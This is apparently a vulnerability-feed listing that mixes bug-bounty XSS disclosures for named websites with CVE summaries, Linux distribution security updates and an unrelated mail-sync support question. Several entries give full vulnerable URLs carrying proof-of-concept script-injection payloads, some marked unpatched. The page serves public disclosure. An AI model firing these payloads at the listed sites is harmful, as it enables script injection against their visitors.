arabiyet.com XSS vulnerability

Vulnerable URL: http://arabiyet.com/?s="'--!confirmOPENBUGBOUNTY...

Microsoft Office/WordPad Remote Code Execution Vulnerability w/Windows

A remote code execution vulnerability exists in the way that Microsoft Office and WordPad parse specially crafted files. An attacker who successfully exploited this vulnerability could take control of an affected system. An attacker could then install programs; view, change, or delete data; or...

phpMyAdmin 4.0.x < 4.0.10.19 / 4.4.x < 4.4.15.10 / 4.6.x < 4.6.6 Multiple Vulnerabilities (PMASA-2017-1 - PMASA-2017-7)

According to its self-reported version number, the phpMyAdmin application hosted on the remote web server is 4.0.x prior to 4.0.10.19, 4.4.x prior to 4.4.15.10, or 4.6.x prior to 4.6.6. It is, therefore, affected by the following vulnerabilities : - An open redirect vulnerability exists due to a...

onlinecasting.co.za XSS vulnerability

Vulnerable URL: http://www.onlinecasting.co.za/search.asp?mode=seek=model%3C!%27/%22/%27/%22/--%3E%3C/Script%3E%3CImage%20Srcset=K%20/;%20Onerror=confirmOPENBUGBOUNTY%20//%3E=actor=dancer=singer=extrawoman=onman=on=0=0=0=0age=0age=200height=0height=240=0=20=on===t1.datecreated%20desc Details:...

sonhaber.blog XSS vulnerability

Vulnerable URL: http://www.sonhaber.blog/?s="/alert/openbugbounty/...

adzine.de XSS vulnerability

Vulnerable URL: https://www.adzine.de/suche/?q=a%3E%27%3E%22%3Et%3Ci%3Ep%3Cimg+src%3Dy+onerror%3Dprompt%28%2Fopenbugbounty%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

Draft folder emails in Secure Mail not syncing with MS Exchange

Q: Users create drafts in Secure Mail but these do not get synced with MS Exchange and viewable in Outlook. After repeated attempts to amend and save the draft it will be deleted without being synced. Is this a known issue? A: With regard to the Draft folder syncing, there are limitation regardin...

quechoisir.org XSS vulnerability

Vulnerable URL: https://www.quechoisir.org/utils/recherche/?keyword='"/alert"openbugbounty"...

CVE-2016-9459

Nextcloud Server before 9.0.52 & ownCloud Server before 9.0.4 are vulnerable to a log pollution vulnerability potentially leading to a local XSS. The download log functionality in the admin screen is delivering the log in JSON format to the end-user. The file was delivered with an attachment...

openSUSE Security Update : xtrabackup (openSUSE-2017-382)

This update to xtrabackup 2.3.7 fixes one security issue and bugs. The following security issue was fixed : - innobackupex and xtrabackup scripts were showing the password in the ps output when it was passed as a command line argument boo1026729 The following functionality was added : - new...

kann.de XSS vulnerability

Vulnerable URL: https://www.kann.de/privat/suche/?searchterms=as'"trolotruli Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 760176 VIP website status:| No Check kann.de SSL...

Open redirect

Netflix Security Monkey before 0.8.0 has an Open Redirect. The logout functionality accepted the "next" parameter which then redirects to any domain irrespective of the Host header...

qoo10.com XSS vulnerability

Vulnerable URL: https://www.qoo10.com/s/?keyword='--!'...

qoo10.hk XSS vulnerability

Vulnerable URL: https://www.qoo10.hk/s/?keyword='--!'...

[SECURITY] DLA-862-1: sitesummary regression update

Package : sitesummary Version : 0.1.8+deb7u2 Debian Bug : 852623 The fix for CVE-2016-8743 in apache2 2.2.22-13+deb7u8 DLA-841-1 caused 852623 in sitesummary, breaking the sitesummary-upload functionality. To address this sitesummary-upload needs to be changed to send CRLF \r\n line endings to be...

idhost.kz XSS vulnerability

Vulnerable URL: http://idhost.kz/site/search?q=%27;%22%3E;;--%3E%3C/SCRIPT%3E-%3C/style%3E-%3C/title%3E-%3C/BoDy%3E-%3Cmarquee%3E-%3Ch1%3EOmniGooch%3C/h1%3E-%3C/marquee%3E-%3Csvg/onload=alert%27XSSPOSED%27;%3E;%27/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.20...

mfa.gov.by XSS vulnerability

Vulnerable URL: http://mfa.gov.by/search/?what="...

theaterverzeichnis.de XSS vulnerability

Vulnerable URL: http://www.theaterverzeichnis.de/suche.php?suche='"--!'...

wittlich-luexem.de XSS vulnerability

Vulnerable URL: http://www.wittlich-luexem.de/suche.php?suche='"--!'...

lyz.de XSS vulnerability

Vulnerable URL: https://www.lyz.de/suche.php?suche='"--!'...